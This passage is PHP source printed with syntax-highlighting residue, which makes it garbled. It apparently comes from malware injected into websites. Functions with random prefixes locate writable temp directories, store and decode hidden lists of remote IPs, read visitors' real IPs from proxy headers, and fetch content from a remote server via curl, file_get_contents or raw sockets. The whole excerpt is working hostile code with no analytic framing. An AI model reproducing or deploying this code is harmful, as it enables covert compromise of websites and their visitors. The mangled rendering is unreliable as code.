style=color: #009900;(/spanstrposaspan style=color: #009900;(/spanspan style=color: #000088;$ua/spanspan style=color: #339933;,/spanspan style=color: #000088;$true_ua/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;t_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span t_dirspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;sys_get_temp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/sys_get_temp_dirspan style=color: #990000;sys_get_temp_dir/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TMPDIR/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/emptyspan style=color: #990000;empty/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/span span style=color: #000088;$_ENV/spanspan style=color: #009900;[/spanspan style=color: #0000ff;TEMP/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$tempfile/spanspan style=color: #339933;=@/spana href=http://www.php.net/tempnamspan style=color: #990000;tempnam/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #339933;,/spanspan style=color: #0000ff;/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #339933;@/spana href=http://www.php.net/unlinkspan style=color: #990000;unlink/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tempfile/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;upload_tmp_dir/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/session_save_pathspan style=color: #990000;session_save_path/span/aspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/is_writeablespan style=color: #990000;is_writeable/span/aspan style=color: #009900;(/spana href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;return/span a href=http://www.php.net/realpathspan style=color: #990000;realpath/span/aspan style=color: #009900;(/spana href=http://www.php.net/dirnamespan style=color: #990000;dirname/span/aspan style=color: #009900;(/spanspan style=color: #009900; font-weight: bold;__FILE__/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #009900; font-weight: bold;null/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;get_know_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span get_know_ipspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/file_existsspan style=color: #990000;file_exists/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;foreach/span span style=color: #009900;(/spana href=http://www.php.net/filespan style=color: #990000;file/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$tt/span span style=color: #339933;=/span Uno_decodespan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #339933;,/spanspan style=color: #0000ff;./spanspan style=color: #009900;)/spanspan style=color: #339933;gt;/spanspan style=color: #cc66cc;0/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$know/spanspan style=color: #009900;[/spanspan style=color: #009900;]/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #000088;$tt/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;return/span a href=http://www.php.net/array_uniquespan style=color: #990000;array_unique/span/aspan style=color: #009900;(/spanspan style=color: #000088;$know/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;save_know_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span save_know_ipspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$name/span span style=color: #339933;=/span get_true_namespan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$content/span span style=color: #339933;=/span a href=http://www.php.net/implodespan style=color: #990000;implode/span/aspan style=color: #009900;(/spanPHP_EOLspan style=color: #339933;,/span span style=color: #000088;$ip/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanget_t_dir_massspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #b1b100;as/span span style=color: #000088;$t/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$f/span span style=color: #339933;=/span a href=http://www.php.net/fopenspan style=color: #990000;fopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$t/spanspan style=color: #339933;./spanspan style=color: #009900; font-weight: bold;DIRECTORY_SEPARATOR/spanspan style=color: #339933;./spanspan style=color: #000088;$name/spanspan style=color: #339933;,/spanspan style=color: #0000ff;w/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fputsspan style=color: #990000;fputs/span/aspan style=color: #009900;(/spanspan style=color: #000088;$f/spanspan style=color: #339933;,/spanspan style=color: #000088;$content/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$f/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_real_ip/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_real_ipspan style=color: #009900;(/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$proxy_headers/span span style=color: #339933;=/span a href=http://www.php.net/arrayspan style=color: #990000;array/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;CLIENT_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED_FOR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;FORWARDED_FOR_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_CLIENT_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED_FOR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_FORWARDED_FOR_IP/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_PC_REMOTE_ADDR/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_PROXY_CONNECTION/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_VIA/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED_FOR/spanspan style=color: #339933;,/span span style=color: #0000ff;HTTP_X_FORWARDED_FOR_IP/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_X_IMFORWARDS/spanspan style=color: #339933;,/spanspan style=color: #0000ff;HTTP_XROXY_CONNECTION/spanspan style=color: #339933;,/spanspan style=color: #0000ff;VIA/spanspan style=color: #339933;,/span span style=color: #0000ff;X_FORWARDED/spanspan style=color: #339933;,/span span style=color: #0000ff;X_FORWARDED_FOR/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;foreach/spanspan style=color: #009900;(/spanspan style=color: #000088;$proxy_headers/span span style=color: #b1b100;as/span span style=color: #000088;$proxy_header/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/issetspan style=color: #990000;isset/span/aspan style=color: #009900;(/spanspan style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span a href=http://www.php.net/preg_matchspan style=color: #990000;preg_match/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$//spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;return/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;else/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/stristrspan style=color: #990000;stristr/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;,/spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;FALSE/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$proxy_header_temp/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/array_shiftspan style=color: #990000;array_shift/span/aspan style=color: #009900;(/spana href=http://www.php.net/explodespan style=color: #990000;explode/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;,/spanspan style=color: #339933;,/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #000088;$proxy_header/spanspan style=color: #009900;]/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #009900;(/spanspan style=color: #000088;$pos_temp/span span style=color: #339933;=/span a href=http://www.php.net/striposspan style=color: #990000;stripos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;,/span span style=color: #0000ff;:/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;FALSE/spanspan style=color: #009900;)/span span style=color: #000088;$proxy_header_temp/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;,/span span style=color: #cc66cc;0/spanspan style=color: #339933;,/span span style=color: #000088;$pos_temp/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spana href=http://www.php.net/preg_matchspan style=color: #990000;preg_match/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){ 3 }$//spanspan style=color: #339933;,/span span style=color: #000088;$proxy_header_temp/spanspan style=color: #009900;)/span span style=color: #009900;)/span span style=color: #b1b100;return/span span style=color: #000088;$proxy_header_temp/spanspan style=color: #339933;;/span   span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;REMOTE_ADDR/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_url/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_urlspan style=color: #009900;(/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$url/span span style=color: #339933;=/span span style=color: #0000ff;http:///span span style=color: #339933;./span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;HTTP_HOST/spanspan style=color: #009900;]/span span style=color: #339933;./span span style=color: #000088;$_SERVER/spanspan style=color: #009900;[/spanspan style=color: #0000ff;REQUEST_URI/spanspan style=color: #009900;]/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #0000ff;?/spanspan style=color: #009900;)/span span style=color: #339933;!==/span span style=color: #009900; font-weight: bold;false/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$url/span span style=color: #339933;=/span a href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #cc66cc;0/spanspan style=color: #339933;,/spana href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$url/spanspan style=color: #339933;,/spanspan style=color: #0000ff;?/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$url/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;ZM5j2q0shf_get_contents/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000000; font-weight: bold;function/span ZM5j2q0shf_get_contentsspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #339933;,/span span style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #b1b100;if/spanspan style=color: #009900;(/spanspan style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;curl_init/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #339933;amp;amp;/span span style=color: #009900;(/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;curl_exec/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #009900;{/span span style=color: #000088;$ch/span span style=color: #339933;=/span a href=http://www.php.net/curl_initspan style=color: #990000;curl_init/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;http:///span span style=color: #339933;./spanspan style=color: #000088;$ip/span span style=color: #339933;./span span style=color: #0000ff;//span span style=color: #339933;./spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/curl_setoptspan style=color: #990000;curl_setopt/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #339933;,/span CURLOPT_RETURNTRANSFERspan style=color: #339933;,/span span style=color: #cc66cc;1/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span a href=http://www.php.net/curl_setoptspan style=color: #990000;curl_setopt/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #339933;,/span CURLOPT_TIMEOUTspan style=color: #339933;,/span span style=color: #cc66cc;3/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/curl_execspan style=color: #990000;curl_exec/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ch/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spana href=http://www.php.net/ini_getspan style=color: #990000;ini_get/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;allow_url_fopen/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spanspan style=color: #339933;@/spana href=http://www.php.net/file_get_contentsspan style=color: #990000;file_get_contents/span/aspan style=color: #009900;(/spanspan style=color: #0000ff;http:///span span style=color: #339933;./spanspan style=color: #000088;$ip/span span style=color: #339933;./span span style=color: #0000ff;//span span style=color: #339933;./spanspan style=color: #000088;$page/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #000088;$fp/span span style=color: #339933;=/span a href=http://www.php.net/fsockopenspan style=color: #990000;fsockopen/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ip/spanspan style=color: #339933;,/span span style=color: #cc66cc;80/spanspan style=color: #339933;,/span span style=color: #000088;$errno/spanspan style=color: #339933;,/span span style=color: #000088;$errstr/spanspan style=color: #339933;,/span span style=color: #cc66cc;30/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$out/span span style=color: #339933;=/span span style=color: #0000ff;GET span style=color: #006699; font-weight: bold;$page/span HTTP/1.0span style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span span style=color: #000088;$out/span span style=color: #339933;.=/span span style=color: #0000ff;Host: span style=color: #006699; font-weight: bold;$ip/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span span style=color: #000088;$out/span span style=color: #339933;.=/span span style=color: #0000ff;Connection: Closespan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #339933;;/span a href=http://www.php.net/fwritespan style=color: #990000;fwrite/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #339933;,/span span style=color: #000088;$out/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ret/span span style=color: #339933;=/span span style=color: #0000ff;/spanspan style=color: #339933;;/span span style=color: #b1b100;while/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/feofspan style=color: #990000;feof/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/spanspan style=color: #009900;)/span span style=color: #009900;{/span span style=color: #000088;$ret/span span style=color: #339933;.=/span a href=http://www.php.net/fgetsspan style=color: #990000;fgets/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #339933;,/span span style=color: #cc66cc;128/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span a href=http://www.php.net/fclosespan style=color: #990000;fclose/span/aspan style=color: #009900;(/spanspan style=color: #000088;$fp/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #000088;$ult/span span style=color: #339933;=/span a href=http://www.php.net/trimspan style=color: #990000;trim/span/aspan style=color: #009900;(/spana href=http://www.php.net/substrspan style=color: #990000;substr/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ret/spanspan style=color: #339933;,/span a href=http://www.php.net/strposspan style=color: #990000;strpos/span/aspan style=color: #009900;(/spanspan style=color: #000088;$ret/spanspan style=color: #339933;,/span span style=color: #0000ff;span style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/spanspan style=color: #000099; font-weight: bold;\r/spanspan style=color: #000099; font-weight: bold;\n/span/spanspan style=color: #009900;)/span span style=color: #339933;+/span span style=color: #cc66cc;4/spanspan style=color: #009900;)/spanspan style=color: #009900;)/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #b1b100;return/span span style=color: #000088;$ult/spanspan style=color: #339933;;/span span style=color: #009900;}/span span style=color: #009900;}/span span style=color: #b1b100;if/span span style=color: #009900;(/spanspan style=color: #339933;!/spana href=http://www.php.net/function_existsspan style=color: #990000;function_exists/span/aspan style=color: 